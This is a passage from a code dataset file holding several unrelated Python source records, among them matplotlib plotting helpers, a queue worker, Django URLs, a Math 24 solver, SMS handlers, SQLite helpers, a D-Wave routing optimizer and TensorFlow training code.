matplotlib.Axes instance\n if provided make sure it uses the axis to do the plots if a mpl\n function is used.\n\n Returns\n -------\n r: object\n anything returned by the called function\n \"\"\"\n if not hasattr(fn, '__call__'):\n ax = kwargs.pop('ax', None)\n if ax is None:\n ax = plt.gca()\n _fn = getattr(ax, fn, None)\n if _fn is None:\n raise AttributeError('function neither callable or found in matplotlib')\n else:\n _fn = fn\n\n onlywhere = kwargs.pop('onlywhere', None)\n if type(onlywhere) in basestring:\n select = tab.where(onlywhere)\n else:\n select = onlywhere\n\n _args = ()\n for a in args:\n if (hasattr(a, '__iter__')):\n try:\n b = tab[a]\n if select is not None:\n b = b.compress(select)\n if (len(b.dtype) > 1):\n b = list((b[k] for k in b.dtype.names))\n _args += (b, )\n except Exception as e:\n print(e)\n _args += (a, )\n else:\n _args += (a, )\n\n return _fn(*_args, **kwargs)\n\n def attached_function(fn, doc=None, errorlevel=0):\n \"\"\" eclare a function as a method to the class table\"\"\"\n\n def _fn(self, *args, **kwargs):\n try:\n return plot_function(self, fn, *args, **kwargs)\n except Exception as e:\n if errorlevel < 1:\n pass\n else:\n raise e\n\n if doc is not None:\n _fn.__doc__ = doc\n\n return _fn\n\n SimpleTable.plot_function = plot_function\n SimpleTable.plot = attached_function('plot', plt.plot.__doc__)\n SimpleTable.hist = attached_function('hist', plt.hist.__doc__)\n SimpleTable.hist2d = attached_function('hist2d', plt.hist2d.__doc__)\n SimpleTable.hexbin = attached_function('hexbin', plt.hexbin.__doc__)\n SimpleTable.scatter = attached_function('scatter', plt.scatter.__doc__)\n\n # newer version of matplotlib\n if hasattr(plt, 'violinplot'):\n SimpleTable.violinplot = attached_function('violinplot', plt.violinplot.__doc__)\n if hasattr(plt, 'boxplot'):\n SimpleTable.boxplot = attached_function('boxplot', plt.boxplot.__doc__)\n\nexcept Exception as e:\n print(e)\n'''\n","sub_path":"pyphot/astropy/simpletable.py","file_name":"simpletable.py","file_ext":"py","file_size_in_byte":103878,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"640469168","text":"import time\r\nimport tarfile\r\nimport datetime as dt\r\nimport sustentacao.conf as conf\r\nimport sustentacao.worker as sw\r\nimport sustentacao.dumps.controller as sdc\r\nimport logging\r\n\r\ndef get_logger():\r\n formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')\r\n ch = logging.StreamHandler()\r\n ch.setLevel(logging.DEBUG)\r\n ch.setFormatter(formatter)\r\n logger = logging.getLogger('dumps_worker')\r\n logger.addHandler(ch)\r\n logger.setLevel(logging.INFO)\r\n return logger\r\n\r\nlogger = get_logger()\r\n\r\nclass ReportRendererWorker(sw.Worker):\r\n \r\n def __init__(self, queue, controller):\r\n self.controller = controller\r\n self.queue = queue\r\n \r\n def work_on(self, item):\r\n logger.info(\"rendering %s\", item)\r\n try:\r\n end_date = self.parse_date(item)\r\n logger.info(\"building report\")\r\n report = self.controller.report_for(end_date)\r\n logger.info(\"rendering report\")\r\n html = self.controller.render_report(report)\r\n logger.info(\"report rendered to %s\", html)\r\n logger.info(\"done\")\r\n logger.info(\"...\")\r\n except:\r\n logger.exception(\"an error has occurred\")\r\n raise\r\n \r\n def parse_date(self, item):\r\n with open(item) as fh:\r\n txt = fh.read().strip() \r\n parts = txt.split(\"-\")\r\n assert len(parts) == 3, \"wrong number of parts in render job file\"\r\n year = int(parts[ 0 ])\r\n month = int(parts[ 1 ])\r\n day = int(parts[ 2 ])\r\n return dt.date(year, month, day)\r\n \r\n def idle(self):\r\n logger.debug(\"sleep\")\r\n time.sleep(1)\r\n \r\n @classmethod\r\n def make(klass, controller=None):\r\n if controller is None:\r\n controller = sdc.DumpsController.make()\r\n queue_dir = conf.DUMPS_CONFIG[ \"enqueue_render_dir\" ] \r\n render_queue = sw.DirQueue(queue_dir)\r\n render_worker = klass(render_queue, controller)\r\n return render_worker\r\n\r\n\r\nclass DumpStorageWorker(sw.Worker):\r\n \r\n def __init__(self, queue, controller):\r\n self.controller = controller\r\n self.queue = queue\r\n \r\n def work_on(self, item):\r\n logger.info(\"storing %s\", item)\r\n try:\r\n logger.info(\"parse\")\r\n dumps = self.controller.read_store_job_files(item)\r\n begin_date, end_date = dumps.range()\r\n assert begin_date == end_date\r\n self.controller.open_repo()\r\n logger.info(\"delete previous if any\")\r\n self.controller.delete_dumps(end_date)\r\n logger.info(\"store\")\r\n self.controller.store_dumps(dumps)\r\n self.controller.save_repo()\r\n self.controller.close_repo()\r\n logger.info(\"enqueuing render job\")\r\n self.controller.enqueue_render_job(end_date)\r\n logger.info(\"...\")\r\n except:\r\n logger.exception(\"an error has occurred\")\r\n raise\r\n \r\n def idle(self):\r\n logger.debug(\"sleep\")\r\n time.sleep(1)\r\n \r\n @classmethod\r\n def make(klass, controller=None):\r\n queue_dir = conf.DUMPS_CONFIG[ \"enqueue_storage_dir\" ] \r\n store_queue = sw.DirQueue(queue_dir)\r\n store_worker = klass(store_queue, controller)\r\n return store_worker\r\n \r\ndef main():\r\n controller = sdc.DumpsController.make()\r\n store_worker = DumpStorageWorker.make(controller)\r\n render_worker = ReportRendererWorker.make(controller)\r\n worker = sw.MultiWorker([store_worker, render_worker])\r\n worker.run()\r\n \r\nif __name__ == '__main__':\r\n main()\r\n ","sub_path":"sustentacao/dumps/worker.py","file_name":"worker.py","file_ext":"py","file_size_in_byte":3808,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"165835491","text":"\"\"\"cust_user URL Configuration\r\n\r\nThe `urlpatterns` list routes URLs to views. For more information please see:\r\n https://docs.djangoproject.com/en/1.11/topics/http/urls/\r\nExamples:\r\nFunction views\r\n 1. Add an import: from my_app import views\r\n 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')\r\nClass-based views\r\n 1. Add an import: from other_app.views import Home\r\n 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home')\r\nIncluding another URLconf\r\n 1. Import the include() function: from django.conf.urls import url, include\r\n 2. Add a URL to urlpatterns: url(r'^blog/', include('blog.urls'))\r\n\"\"\"\r\nfrom django.conf.urls import url, include\r\nfrom django.contrib import admin\r\nfrom user.views import (login_view,\r\n register_view,\r\n logout_view,\r\n generate_token,\r\n home_view,\r\n )\r\nfrom myapp.views import auto_suggest, world_detail\r\n\r\nurlpatterns = [\r\n url(r'^admin/', admin.site.urls),\r\n url(r'^$', home_view, name='home'),\r\n url(r'^register/', register_view, name='register'),\r\n url(r'^login/', login_view, name='login'),\r\n url(r'^logout/', logout_view, name='logout'),\r\n url(r'^details/', world_detail, name='details'),\r\n url(r'^ajax/get_otp/$', generate_token, name='generate_token'),\r\n url(r'^ajax/auto_suggest/$', auto_suggest, name='auto_suggest'),\r\n url(r'^api/user/', include(\"user.api.urls\", namespace='user-api')),\r\n\r\n]\r\n","sub_path":"custom_user/cust_user/cust_user/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1532,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"93810602","text":"\"\"\"\r\nPython3 implementation for a solver for Math 24 cards\r\n\"\"\"\r\n\r\nimport itertools\r\n\r\nclass Math24Solver():\r\n def _calculateEquation(self, lhs, operation, rhs):\r\n \"\"\"\r\n Calculates and returns the mathematical solution to the \r\n equation depending on the operation\r\n\r\n :type lhs: int\r\n :type operation: str\r\n :type rhs: int\r\n :rtype: int\r\n \"\"\"\r\n if operation is \"+\":\r\n return lhs + rhs\r\n elif operation is \"-\":\r\n return lhs - rhs\r\n elif operation is \"*\":\r\n return lhs * rhs\r\n else:\r\n if rhs is not 0:\r\n return lhs / rhs\r\n\r\n def _is24(self, values, op1, op2, op3):\r\n \"\"\"\r\n Checks whether the complete equation equates to 24.\r\n\r\n :type values: List[int]\r\n :type op1: str\r\n :type op2: str\r\n :type op3: str\r\n :rtype: bool\r\n \"\"\"\r\n solution = values[0]\r\n solution = self._calculateEquation(solution, op1, values[1])\r\n solution = self._calculateEquation(solution, op2, values[2])\r\n solution = self._calculateEquation(solution, op3, values[3])\r\n\r\n if solution is 24:\r\n return True\r\n else:\r\n return False\r\n\r\n def _isPlusOrMinus(self, op):\r\n \"\"\"\r\n Checks whether operation is addition or subtraction\r\n \r\n :type op: str\r\n :rtype: bool\r\n \"\"\"\r\n\r\n if op is \"+\" or op is \"-\":\r\n return True\r\n else:\r\n return False\r\n\r\n def _formatSolution(self, values, op1, op2, op3):\r\n\r\n \"\"\"\r\n Formats the solution by adding parentheses to show proper\r\n order of operations to create 24\r\n\r\n Possible combinations of operations \r\n (where + represents addition and subtraction tier of operations\r\n and * represents multiplication and division tier of operations)\r\n\r\n +++ -> No change\r\n ++* -> (++)*\r\n +*+ -> (+)*+\r\n *++ -> No change\r\n **+ -> No change\r\n *+* -> (*+)*\r\n +** -> (+)**\r\n *** -> No change\r\n \r\n :type values: List[int]\r\n :type op1: str\r\n :type op2: str\r\n :type op3: str\r\n :rtype: str\r\n \"\"\"\r\n #Default solution is no change\r\n solution = \"{}{}{}{}{}{}{}\".format( \\\r\n values[0], op1, values[1], op2, values[2], op3, values[3])\r\n\r\n #Adding parenthesis where first operation is + or -\r\n if self._isPlusOrMinus(op1):\r\n if self._isPlusOrMinus(op2) and not self._isPlusOrMinus(op3): #Case: ++* -> (++)*\r\n solution = \"({}{}{}{}{}){}{}\".format( \\\r\n values[0], op1, values[1], op2, values[2], op3, values[3])\r\n elif not self._isPlusOrMinus(op2): #Cases: +*+ -> (+)*+ and +** -> (+)**\r\n solution = \"({}{}{}){}{}{}{}\".format( \\\r\n values[0], op1, values[1], op2, values[2], op3, values[3])\r\n\r\n #Adding parenthesis where the operation is *+* -> (*+)*\r\n else:\r\n if self._isPlusOrMinus(op2) and not self._isPlusOrMinus(op3): #Case: *+* ->(*+)*\r\n solution = \"({}{}{}{}{}){}{}\".format( \\\r\n values[0], op1, values[1], op2, values[2], op3, values[3])\r\n\r\n return solution\r\n\r\n def solve(self, inputValues):\r\n \"\"\"\r\n Given four numbers, solves whether there is a solution that creates 24. Returns the\r\n solution if it exists, and returns \"No Solutions\" otherwise\r\n\r\n :type inputValues: List[int]\r\n :rtype: str\r\n \"\"\"\r\n\r\n #List the valid operations of addition, subtraction, multiplication and division\r\n validOps = [\"+\", \"-\", \"*\", \"/\"]\r\n\r\n #Get user input for the four values from Math 24 card\r\n length = len(inputValues)\r\n if length is not 4:\r\n raise ValueError(\"Invaid number of inputs.\")\r\n\r\n #Get permutations of the four numbers\r\n inputValues = itertools.permutations(inputValues)\r\n\r\n #Search for a solution that equal 24\r\n\r\n for i in inputValues: #Go through permutations list\r\n\r\n for op1 in validOps: #Go through valid operations\r\n\r\n for op2 in validOps:\r\n\r\n for op3 in validOps:\r\n if self._is24(i, op1, op2, op3):\r\n return self._formatSolution(i, op1, op2, op3)\r\n\r\n return \"No Solutions\"\r\n\r\nif __name__ == \"__main__\":\r\n userInput = list(map(int, input(\"Enter four numbers: \").split()))\r\n solver = Math24Solver()\r\n print(solver.solve(userInput))\r\n","sub_path":"Math24Solver/Math24Solver.py","file_name":"Math24Solver.py","file_ext":"py","file_size_in_byte":4644,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"36645280","text":"# -*- coding: utf-8 -*-\r\nfrom abc import ABCMeta, abstractmethod, abstractproperty\r\nfrom django.db import models\r\n\r\nfrom utils import *\r\n\r\nimport datetime\r\nimport re\r\n\r\nclass Log(models.Model):\r\n \"\"\"\r\n Лог отправки сообщений\r\n \"\"\"\r\n phone = models.CharField(max_length=20, null=True, blank=True)\r\n text = models.TextField(null=True, blank=True)\r\n create_date = models.DateTimeField(default=datetime.datetime.now)\r\n success = models.BooleanField(default=True)\r\n error_code = models.CharField(max_length=10, null=True, blank=True)\r\n error_msg = models.CharField(max_length=250, null=True, blank=True)\r\n handler = models.CharField(max_length=100)\r\n\r\n\r\nclass SmsHandler():\r\n \"\"\"\r\n Абстрактный класс хэндлера\r\n \"\"\"\r\n __metaclass__ = ABCMeta\r\n \r\n @abstractmethod\r\n def validate_data(self, data):\r\n \"\"\" Проверка данных \"\"\"\r\n pass\r\n \r\n @abstractmethod\r\n def send(self, data):\r\n \"\"\" Отправка смс \"\"\"\r\n pass\r\n \r\n def write_log(self, data):\r\n \"\"\" Лог \"\"\"\r\n success = True if data['status'] == 'ok' else False\r\n Log(success=success, phone=data.get('phone'), text=data.get('msg'),\r\n handler=self.handler, error_code=data.get('error_code'),\r\n error_msg=data.get('error_msg')).save()\r\n \r\n\r\nclass SomeApiHandler(SmsHandler):\r\n \"\"\"\r\n 1-ый хэндлер\r\n \"\"\"\r\n def __init__(self):\r\n self.handler = 'some-api'\r\n \r\n def validate_phone(self, phone):\r\n \"\"\" Валидация номера телефона \"\"\"\r\n result = {'status':'error', 'phone':phone}\r\n if not phone:\r\n result['error_code'] = -2000\r\n result['error_msg'] = u'Телефон не указан'\r\n return result\r\n phone = re.sub(r'[^0-9]+', '', phone)\r\n result['phone'] = phone\r\n if to_int(phone) and len(phone) == 11:\r\n result['status'] = 'ok'\r\n else:\r\n result['error_code'] = -2500\r\n result['error_msg'] = u'Телефон указан в неправильном формате'\r\n return result\r\n \r\n def validate_data(self, data):\r\n \"\"\" Валидация данных \"\"\"\r\n result = {'status':'error', 'phone':''}\r\n if not isinstance(data, dict):\r\n result['error_code'] = -1500\r\n result['error_msg'] = u'Данные указаны в неверном формате'\r\n return result\r\n result['msg'] = data.get('msg')\r\n valid_phone = self.validate_phone(data.get('phone'))\r\n result['phone'] = valid_phone['phone']\r\n if valid_phone['status'] == 'ok':\r\n result['status'] = 'ok'\r\n else:\r\n result['error_code'] = valid_phone['error_code']\r\n result['error_msg'] = valid_phone['error_msg']\r\n return result\r\n \r\n def send(self, data):\r\n data = self.validate_data(data)\r\n if data['status'] == 'ok':\r\n # отправка смс\r\n pass\r\n # записываем в лог результаты в любом случае\r\n self.write_log(data)\r\n return data\r\n \r\n \r\nclass SuperApiHandler(SmsHandler):\r\n \"\"\"\r\n 2-ый хэндлер\r\n \"\"\"\r\n def __init__(self):\r\n self.handler = 'super-api'\r\n \r\n def validate_data(self, data):\r\n result = {'status':'error', 'phone':''}\r\n if not isinstance(data, dict):\r\n result['error_code'] = -1500\r\n result['error_msg'] = u'Данные указаны в неверном формате'\r\n return result\r\n result['msg'] = data.get('msg')\r\n result['phone'] = data.get('phone')\r\n if not result.get('phone'):\r\n result['error_code'] = -2000\r\n result['error_msg'] = u'Телефон не указан'\r\n elif not result.get('msg'):\r\n result['error_code'] = -3000\r\n result['error_msg'] = u'Сообщение пустое'\r\n else:\r\n result['status'] = 'ok'\r\n return result\r\n \r\n def send(self, data):\r\n data = self.validate_data(data)\r\n if data['status'] == 'ok':\r\n # отправка смс\r\n \"\"\" \r\n записываем в лог результаты только в случае успешной\r\n отправки, в отличии от первого хэндлера\r\n \"\"\"\r\n self.write_log(data)\r\n return data\r\n \r\n \r\nclass Fabric(object):\r\n \"\"\" Фабрика хэндлеров \"\"\"\r\n \r\n @staticmethod\r\n def get_handler(name):\r\n obj = None\r\n if name == 'some-api':\r\n obj = SomeApiHandler()\r\n elif name == 'super-api':\r\n obj = SuperApiHandler()\r\n return obj\r\n ","sub_path":"sms_handlers/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":4957,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"30028757","text":"import sqlite3\r\n\r\nclass Login(object):\r\n\r\n\tdef __init__(self, database):\r\n\t\tself._db = database\r\n\t\tself._conn = sqlite3.connect(database)\r\n\r\n\tdef Registrar(self, nome, telefone, endereco):\r\n\t\tself._conn.execute(\"\"\"\r\n\t\tINSERT INTO Agenda (nome,telefone,endereco)\r\n\t\tVALUES (?, ?, ?)\"\"\", (nome, telefone, endereco))\r\n\t\tself._conn.commit()\r\n\t\treturn True\r\n\r\n\tdef BuscarTudo(self):\r\n\t\tcursor = self._conn.execute(\"SELECT * from Agenda\")\r\n\t\tdescricao = list()\r\n\t\tfor linha in cursor: \r\n\t\t\tpessoa = dict()\r\n\t\t\tfor i, coluna in enumerate(linha):\r\n\t\t\t\tpessoa[cursor.description[i][0]] = coluna\r\n\t\t\tdescricao.append(pessoa)\r\n\t\treturn descricao\r\n\r\n\tdef BuscarID(self, id):\r\n\t\tvalores = self.BuscarTudo()\r\n\t\tfor valor in valores:\r\n\t\t\tif valor['id'] == id:\r\n\t\t\t\treturn valor\r\n\r\n\tdef Delete(self, id):\r\n\t\tid = int(id)\r\n\t\tself._conn.execute(\"DELETE FROM Agenda WHERE id=?\", (id,))\r\n\t\tself._conn.commit()\r\n\t\treturn True","sub_path":"gerenciador-banco/database_ex.py","file_name":"database_ex.py","file_ext":"py","file_size_in_byte":904,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"601934762","text":"\n\n\ndef post_image_path(instance, filename):\n return 'post-images/%s.%s' %(instance.title, filename.split(\".\")[-1]) \n\n\nAccepted = 1\nRejected = 2\nPending = 3\nSTATUS_TYPE =[\n (Accepted, 'در حال انتشار'),\n (Rejected, 'عدم تایید'),\n (Pending, 'پیش نویس'),\n]\n\nScientific = 1\nEducational = 2\nNews = 3\nCATEGORY_TYPE =[\n (Scientific, 'علمی'),\n (Educational, 'آموزشی'),\n (News, 'خبری'),\n]\n\n","sub_path":"blog/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":441,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"61806346","text":"'''\nProgramming Questions:\n1. Define a function myBubbleSort that will take as input myList and return\nit sorted after we have implemented our algorithm in its body.\n\n2. Define a variable to be equal to the length of my list - 1.\nIt will store how many numbers we need to bubble up and will decrement on each\niteration of the inner while loop.\n\n3. Implement the inner body of the inner while loop that will iterate from\nthe 0th element to the created in 2nd exercise variable.\nWithin its body, check if the current element is greater than the one after it,\nif so swap their positions.\nThe swap operation from the pseudo code would require a temp variable that\nwill store one of the elements before it is overwritten so its value is not\nlost. Make sure you increase the value of index by one to avoid an infinite\nloop\n\n4. Now implement the outer while loop that will repeat the procedure from\nthe previous step until there are values that need to be bubbled up (to do\nis positive)\n\n5. Test your function by calling it with different lists of numbers.\n'''\n\n\ndef myBubbleSort(myList):\n end = len(myList) - 1\n while end > 0:\n index = 0\n while index < end:\n if myList[index] > myList[index+1]:\n myList[index], myList[index+1] = myList[index+1], myList[index]\n # OR by task\n # temp_item = list[i] ###temp var stores the element before it is overwritten\n # list[i] = list[i+1] ###swapping the element\n # list[i+1] = temp_item ###swapping the element\n index += 1\n end -= 1\n\n return myList\n\n\nlist1 = [5, 3, 2, 4, 1]\nlist2 = [1, 3, 5, 2, 4]\n\nprint(myBubbleSort(list1), myBubbleSort(list2))\n","sub_path":"Python/Python Fundamentals/8.Algorithms/2. Programming Question/Bubble Sort Implementation.py","file_name":"Bubble Sort Implementation.py","file_ext":"py","file_size_in_byte":1711,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"202220228","text":"'''\nCopyright 2016 Nathan L. Conrad. All rights reserved. All wrongs reversed.\n\nNathan L. Conrad \n'''\n\nfrom objc import loadBundle, loadBundleVariables, pathForFramework\nfrom os import path\n\nfrom .._platform import PlatformLoadError, PlatformNotSupportedError\nfrom ._platform import get_platform\n\nclass _Bundle:\n\n def __init__(self, bundle):\n self.__bundle = bundle\n\n def load_variables(self, module_globals, names):\n loadBundleVariables(\n self.__bundle,\n module_globals,\n [(i, b'@') for i in names]\n )\n\nclass _Framework:\n\n def __init__(self, name, bundle_path):\n self.__name = name\n self.__bundle_path = bundle_path\n self.__is_supported = False\n\n @property\n def is_supported(self):\n if not self.__is_supported:\n try:\n self.__bundle_path = pathForFramework(self.__bundle_path)\n except:\n return False\n if not path.isdir(self.__bundle_path):\n return False\n self.__is_supported = True\n return True\n\n def load(self, module_globals):\n self.__ensure_supported()\n try:\n bundle = loadBundle(\n self.__name,\n module_globals,\n bundle_path=self.__bundle_path\n )\n except:\n raise PlatformLoadError(\n 'An error occurred while loading the ' + self.__name +\n ' framework'\n )\n return _Bundle(bundle)\n\n def __ensure_supported(self):\n if not self.is_supported:\n raise PlatformNotSupportedError(get_platform())\n\n_core_bluetooth = _Framework('CoreBluetooth', 'CoreBluetooth.framework')\n\ndef get_core_bluetooth():\n return _core_bluetooth\n","sub_path":"pymble/core_bluetooth/_frameworks.py","file_name":"_frameworks.py","file_ext":"py","file_size_in_byte":1835,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"98707730","text":"import cv2\n\nimg_file = './img/mudo.jpg'\nsave_file = './img/mudo_gray.jpg'\n\nimg = cv2.imread(img_file, cv2.IMREAD_GRAYSCALE)\ncv2.imshow(img_file, img)\ncv2.imwrite(save_file, img) # 파일로 저장\ncv2.waitKey()\ncv2.destroyAllWindows()","sub_path":"img_write.py","file_name":"img_write.py","file_ext":"py","file_size_in_byte":242,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"370286431","text":"import numpy as np\nfrom dwave.plugins.qiskit import DWaveMinimumEigensolver\nfrom qiskit.aqua import aqua_globals\nfrom qiskit.optimization import QuadraticProgram\nfrom qiskit.optimization.algorithms import MinimumEigenOptimizer\n\n\nclass QuantumOptimizer:\n\n def __init__(self, instance, n, k):\n self.instance = instance\n self.n = n\n self.k = k\n\n def binary_representation(self, x_sol=0):\n\n instance = self.instance\n n = self.n\n k = self.k\n\n A = np.max(instance) * 100\n instance_vec = instance.reshape(n ** 2)\n w_list = [instance_vec[x] for x in range(n ** 2) if instance_vec[x] > 0]\n w = np.zeros(n * (n - 1))\n for ii in range(len(w_list)):\n w[ii] = w_list[ii]\n\n Id_n = np.eye(n)\n Im_n_1 = np.ones((n - 1, n - 1))\n Iv_n_1 = np.ones(n)\n Iv_n_1[0] = 0\n Iv_n = np.ones(n - 1)\n neg_Iv_n_1 = np.ones(n) - Iv_n_1\n v = np.zeros((n, n * (n - 1)))\n\n for ii in range(n):\n count = ii - 1\n for jj in range(n * (n - 1)):\n if jj // (n - 1) == ii:\n count = ii\n if jj // (n - 1) != ii and jj % (n - 1) == count:\n v[ii][jj] = 1\n\n vn = np.sum(v[1:], axis=0)\n Q = A * (np.kron(Id_n, Im_n_1) + np.dot(v.T, v))\n g = w - 2 * A * (np.kron(Iv_n_1, Iv_n) + vn.T) - 2 * A * k * (np.kron(neg_Iv_n_1, Iv_n) + v[0].T)\n c = 2 * A * (n - 1) + 2 * A * (k ** 2)\n\n try:\n max(x_sol)\n fun = lambda x: np.dot(np.around(x), np.dot(Q, np.around(x))) + np.dot(g, np.around(x)) + c\n cost = fun(x_sol)\n except:\n cost = 0\n\n return Q, g, c, cost\n\n def construct_problem(self, Q, g, c) -> QuadraticProgram:\n qp = QuadraticProgram()\n for i in range(self.n * (self.n - 1)):\n qp.binary_var(str(i))\n qp.objective.quadratic = Q\n qp.objective.linear = g\n qp.objective.constant = c\n return qp\n\n def solve_problem(self, qp):\n aqua_globals.random_seed = 10598\n dwave_solver = DWaveMinimumEigensolver()\n optimizer = MinimumEigenOptimizer(min_eigen_solver=dwave_solver)\n result = optimizer.solve(qp)\n _, _, _, level = self.binary_representation(x_sol=result.x)\n return result.x, level\n","sub_path":"vrp_sumo/quantum_optimizer.py","file_name":"quantum_optimizer.py","file_ext":"py","file_size_in_byte":2360,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"378605036","text":"li1 = range(10)\nli1.append(677.7)\nstr1=\"skybosi\"\nli2 = list(str1)\nli3 = li1 + li2\nfli = open('li1','w')\ni = 0\nwhile i < len(li1):\n\tfli.write(str(li1[i])+' ')\n\ti = i+1\nfli.write(\"endli1......\\n\")\nfli.close()\n\nfli = open('li2','w')\ni = 0\nwhile i < len(li2):\n\tfli.write(li2[i]+' ')\n\ti = i+1\n\nfli.write(\"endli2......\\n\")\nfli.close()\n\nfli = open('li3','w')\ni = 0\nwhile i < len(li3):\n\tif isinstance(li3[i],str):\n\t\tfli.write(li3[i]+' ')\n\telse:\n\t\tfli.write(str(li3[i])+' ')\n\ti = i+1\nfli.write(\"endli3......\\n\")\nfli.close()\n\n","sub_path":"myplace/python/mixwrite.py","file_name":"mixwrite.py","file_ext":"py","file_size_in_byte":520,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"425221276","text":"# encoding: utf-8\n\nimport tensorflow as tf\n\nNUM_EXAMPLES_PER_EPOCH_FOR_TRAIN = 500\nNUM_EPOCHS_PER_DECAY = 30\nINITIAL_LEARNING_RATE = 0.0001\nLEARNING_RATE_DECAY_FACTOR = 0.9\nMOVING_AVERAGE_DECAY = 0.999999\n\n\ndef _add_loss_summaries(total_loss):\n loss_averages = tf.train.ExponentialMovingAverage(0.9, name='avg')\n losses = tf.get_collection('losses')\n loss_averages_op = loss_averages.apply(losses + [total_loss])\n for l in losses + [total_loss]:\n tf.summary.scalar(l.op.name + ' (raw)', l)\n tf.summary.scalar(l.op.name, loss_averages.average(l))\n return loss_averages_op\n\n\ndef train(total_loss, global_step, batch_size):\n num_batches_per_epoch = float(NUM_EXAMPLES_PER_EPOCH_FOR_TRAIN) / batch_size\n decay_steps = int(num_batches_per_epoch * NUM_EPOCHS_PER_DECAY)\n\n # learning rate with discrete staircase decay.\n lr = tf.train.exponential_decay(\n INITIAL_LEARNING_RATE,\n global_step,\n decay_steps,\n LEARNING_RATE_DECAY_FACTOR,\n staircase=True)\n \n # tf summary is a debug function, so that learning rate shows up in a summary\n # dashboard.\n tf.summary.scalar('learning_rate', lr)\n # compute the loss function's exponential moving average.\n # and add it to dashboard.\n loss_averages_op = _add_loss_summaries(total_loss)\n\n # tf.control_dependencies make sure loss_averages_op is evaluate before the\n # scoped blocked.\n with tf.control_dependencies([loss_averages_op]):\n # forward prop\n opt = tf.train.AdamOptimizer(lr)\n # back prop\n grads = opt.compute_gradients(total_loss)\n # w = w - learning_rate * dW\n # b = b - learning_rate * dB\n # global_step increase by 1 after this operation, global_step is a out variable.\n # https://www.tensorflow.org/api_docs/python/tf/compat/v1/train/Optimizer\n apply_gradient_op = opt.apply_gradients(grads, global_step=global_step)\n\n # add trainable varibale histogram to summary\n # trainable variales are: trainable=True, essentially the weights in model_parts.py\n print('operation list -----------------------------------')\n for var in tf.trainable_variables():\n print(var.op.name)\n tf.summary.histogram(var.op.name, var)\n\n # add dW histogram to summary\n for grad, var in grads:\n if grad is not None:\n tf.summary.histogram(var.op.name + '/gradients', grad)\n\n # apply moving average delay to weights?? why not to dW?\n variable_averages = tf.train.ExponentialMovingAverage(\n MOVING_AVERAGE_DECAY, global_step)\n variables_averages_op = variable_averages.apply(tf.trainable_variables())\n with tf.control_dependencies([apply_gradient_op, variables_averages_op]):\n train_op = tf.no_op(name='train')\n\n return train_op\n","sub_path":"train_operation.py","file_name":"train_operation.py","file_ext":"py","file_size_in_byte":2772,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"569140283","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\n# http://matplotlib.org/1.2.1/examples/pylab_examples/histogram_demo.html\nprint(\"help to understand subplots and hist() \")\n# x = np.arange(0, 5, 0.1);\n# y = np.sin(x)\n# plt.plot(x, y)\n# plt.show()\nnum_topics_used = [10,20,20,30,30,30,40,40,40,40]\nfig,ax = plt.subplots()\nax.hist(num_topics_used, np.arange(42))\nax.set_ylabel('Nr of documents')\nax.set_xlabel('Nr of topics')\nfig.tight_layout()\nplt.show()","sub_path":"04Building Machine Learning System with Python/ch4Topic Modeling/i4pyplot_demo.py","file_name":"i4pyplot_demo.py","file_ext":"py","file_size_in_byte":455,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"541378755","text":"import frappe, json\n\n@frappe.whitelist()\ndef get_dispach_orders(start, end, filters=None):\n\tfrom frappe.desk.reportview import build_match_conditions\n\tif not frappe.has_permission(\"Delivery Note\"):\n\t\tfrappe.msgprint(_(\"No Permission\"), raise_exception=1)\n\n\t# conditions = build_match_conditions(\"Delivery Note\")\n\t# conditions = conditions and (\" and \" + conditions) or \"\"\n\n\tconditions = \"dn.docstatus<>2 and (dn.start_date between '%s 00:00:00' and '%s 23:59:59' or dn.end_date between '%s' and '%s')\"%(start,end,start,end)\n\n\tif filters:\n\t\tfilters = json.loads(filters)\n\t\tfor key in filters:\n\t\t\tif filters[key]:\n\t\t\t\tconditions += \" and \" + key + ' = \"' + filters[key].replace('\"', '\\\"') + '\"'\n\n\tdata = frappe.db.sql(\"\"\"select dn.name, dn.customer_name,dn.technician, dn.start_date, dn.end_date, dn.status from `tabDelivery Note` as dn,\n\t\t`tabSupplier` as sup where sup.name=dn.technician and sup.supplier_type='Technician' and {conditions} order by technician asc\n\t\t\"\"\".format(conditions=conditions), as_dict=True)\n\n\ttechnicians = list(set([i.technician for i in data]))\n\n\tdataset = []\n\tfor technician in technicians:\n\t\tdataset.append({\n\t\t\t\"name\": technician,\n\t\t\t\"values\": get_order_details(technician, data)\n\t\t})\n\n\treturn dataset\n\ndef get_order_details(technician, orders):\n\tfrom datetime import datetime as dt\n\tvalues = []\n\tfor order in orders:\n\t\tif technician == order.technician:\n\t\t\tstart = int(order.start_date.strftime(\"%s\")) * 1000\n\t\t\tend = int(order.end_date.strftime(\"%s\")) * 1000\n\n\t\t\tvalues.append({\n\t\t\t\t\"name\": 